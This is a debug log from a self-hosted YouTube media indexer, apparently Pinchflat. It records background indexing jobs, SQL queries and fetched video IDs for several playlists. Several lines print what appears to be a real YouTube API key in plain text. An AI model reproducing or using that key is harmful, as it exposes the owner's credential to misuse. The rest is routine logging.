s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:03.077 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 17:05:03.077 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:03.077 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:03.233 [debug] QUERY OK source="media_items" db=0.6ms idle=156.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "Q7MpFTrT9Gk", "pjovhZ7HkNs", "3F9M1ttIIbU", "7soMd19QQo0", "_sJ45_nrbms", "WO591I22Yew", "Sh1SWKZ8oQo", "6G19kaP8kJQ", "G3z8mL2_oJo", "AAOQUkA27Q0", "ZrAkCJS9H1s", "tCGBoTY8sq4", "Puny-2wkMZA", "DCfhUeYWv9A", "QGHDN7Zdu1E", "rVUBIzOwci8", "p6EAA6PNaec", "gxi72c5pXKs", "8ZjfzTLmuyM", "luq4Vsy38Ac", "8quSH5g6yl4", "UecKUN9AUaM", "-wjoCF-WPTI", "CW35wawjROc", "fMp3TPlEBQg", "ZsAwLo1q3j8", "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", ...] 17:05:03.234 [debug] QUERY OK source="media_items" db=0.5ms idle=157.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 17:05:03.235 [debug] QUERY OK source="tasks" db=0.1ms idle=157.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268381, 33, ~U[2026-10-09 22:05:03Z], ~U[2026-10-09 22:05:03Z]] 17:05:03.235 [info] {"args":{"id":33},"id":5268341,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":159008,"event":"job:stop","queue_time":235957,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:04.077 [info] {"args":{"id":39},"id":5268342,"meta":{},"system_time":1791583504077224192,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:04.077 [info] {"args":{"id":46},"id":5268343,"meta":{},"system_time":1791583504077270849,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:04.077 [debug] QUERY OK source="sources" db=0.2ms idle=842.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 17:05:04.077 [debug] QUERY OK source="sources" db=0.1ms idle=842.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [46] 17:05:04.077 [debug] QUERY OK source="settings" db=0.0ms idle=836.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:04.078 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:04.078 [debug] QUERY OK source="settings" db=0.2ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:04.078 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:04.078 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 17:05:04.078 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:04.078 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:04.078 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:04.078 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:04.078 [debug] Fetching recent media IDs from YouTube API for playlist: UUKV7SrXQuG5LO2QccuioQWw 17:05:04.078 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:04.078 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:04.224 [debug] QUERY OK source="media_items" db=0.5ms idle=145.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "bznw-B-Eni8", "swCwRxuotQk", "wdsG9aIz_n8", "-tUJmKUeo5U", "c5aS2Pb-pTA", "rmdT12aICmo", "LRyW70JurQI", "8S7t7Rs4i9c", "j3xZ_KvHC3s", "L56BzYHXQks", "rriUpocMals", "AHV3pCJf72U", "zFo5KWWKpAM", "X-ptuLzSUIY", "otXq2JuhqKo", "5bFFyLM4Maw", "3_ibraS5u6M", "MD21fnS-B54", "JrHd0DsoVkY", "54WRGYyHtsg", "6qpd9CRvtgE", "s62--fs7r_4", "0rBw9jkxTJ0", "SBnSoDzkQ4A", "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", ...] 17:05:04.225 [debug] QUERY OK source="media_items" db=0.3ms idle=146.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 17:05:04.226 [debug] QUERY OK source="tasks" db=0.1ms idle=147.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268382, 39, ~U[2026-10-09 22:05:04Z], ~U[2026-10-09 22:05:04Z]] 17:05:04.226 [info] {"args":{"id":39},"id":5268342,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":149274,"event":"job:stop","queue_time":379736,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:04.327 [debug] QUERY OK source="media_items" db=0.3ms idle=101.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [46, "icFef_JRy4A", "V0sEXDcU-c4", "ejUGtBNp2ZA", "ZAwlWBYdIhg", "bddSk5lgf0I", "t4z_nTvZEXA", "h-kC1jJsC8E", "99OgHfsunFQ", "7jRIplZwwpQ", "4mBje4mjDW4", "UqMjU_i26TE", "kvAnxFKIj7E", "GSOsUC9fNlc", "e2jEOwnWb-s", "6pI73pxVLdQ", "NZSCgJmc79k", "4lmd99XTwiM", "Pb69qX65QIU", "mi5mNBkvuB0", "U5xFZZdITSg"] 17:05:04.328 [debug] QUERY OK source="media_items" db=0.2ms idle=101.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [46] 17:05:04.328 [debug] QUERY OK source="tasks" db=0.1ms idle=95.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268383, 46, ~U[2026-10-09 22:05:04Z], ~U[2026-10-09 22:05:04Z]] 17:05:04.329 [info] {"args":{"id":46},"id":5268343,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":251639,"event":"job:stop","queue_time":282837,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:05.078 [info] {"args":{"id":47},"id":5268344,"meta":{},"system_time":1791583505078207726,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:05.078 [debug] QUERY OK source="sources" db=0.1ms idle=749.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [47] 17:05:05.078 [debug] QUERY OK source="settings" db=0.1ms idle=749.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:05.078 [debug] QUERY OK source="media_profiles" db=0.0ms idle=743.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:05.079 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:05.079 [debug] Fetching recent media IDs from YouTube API for playlist: UU1lIHn3KlcJimyxsVugP4uw 17:05:05.079 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:05.079 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:05.181 [debug] QUERY OK source="media_items" db=0.4ms idle=102.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [47, "cdxiIZ6FTqY", "DbahvHypjeY", "jLbN16TvulI", "j4T9p-Iks6Q", "5j16940siPE", "Bj9A6TqDSSU", "yfgkh4Fgw98", "bdtxmd8ze7E", "q6s8rDkwrL0", "_ofP3rrKcuo", "EFlhj7tAVnY", "UmKf8smvGsA", "Cny5CTOLBtI", "1OgN_qctcGs", "m6mHX9f35zk", "hJgGkRDyekU", "A_SVevmpmIM", "XwpIZNeom7Y", "SqZ3v24dw28", "SpJlSh8RUvk", "ouPiwt5hxXQ", "ESLvSeXIcJo", "x7AgrwuQXZk", "VxyFqBlIwyU", "qPKtGVU9Y10", "Yo6yes4TdCo", "yO683XvKseE", "SB_b4HvrJFU", "UyfMLlvVB7Y", "AtZcDqhVBpg", "XEMQ0LxowhY", "cf3ApBDljhY", "hSQNVKhQqOw", "j7CFpM67NYk", "Y5vbfJSSSuc", "DDmeqLEB9c0", "Etvlh10p-eM", "T-LegOd8Jxo", "1eH9jDiP4ow", "Ei00RFhIL4Y", "J7tpbs-slcs", "ZfqE2a7PHpE", "rBlS0Z-cbFU", "92w5doU68D8", "gg_tFb2ohx4", "yEJ4-BgybxY", "KPNPtdz-rz0", "775UbsSpL5I", "cC-JPXUZ0TQ", ...] 17:05:05.182 [debug] QUERY OK source="media_items" db=0.3ms idle=103.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [47] 17:05:05.652 [debug] QUERY OK source="tasks" db=469.6ms idle=103.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268384, 47, ~U[2026-10-09 22:05:05Z], ~U[2026-10-09 22:05:05Z]] 17:05:05.722 [info] {"args":{"id":47},"id":5268344,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":574726,"event":"job:stop","queue_time":456708,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:06.079 [info] {"args":{"id":32},"id":5268345,"meta":{},"system_time":1791583506079222287,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:06.079 [debug] QUERY OK source="sources" db=0.1ms idle=426.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 17:05:06.079 [debug] QUERY OK source="settings" db=0.1ms idle=357.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:06.079 [debug] QUERY OK source="media_profiles" db=0.0ms idle=351.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:06.080 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:06.080 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 17:05:06.080 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:06.080 [debug] Using YouTube API key: 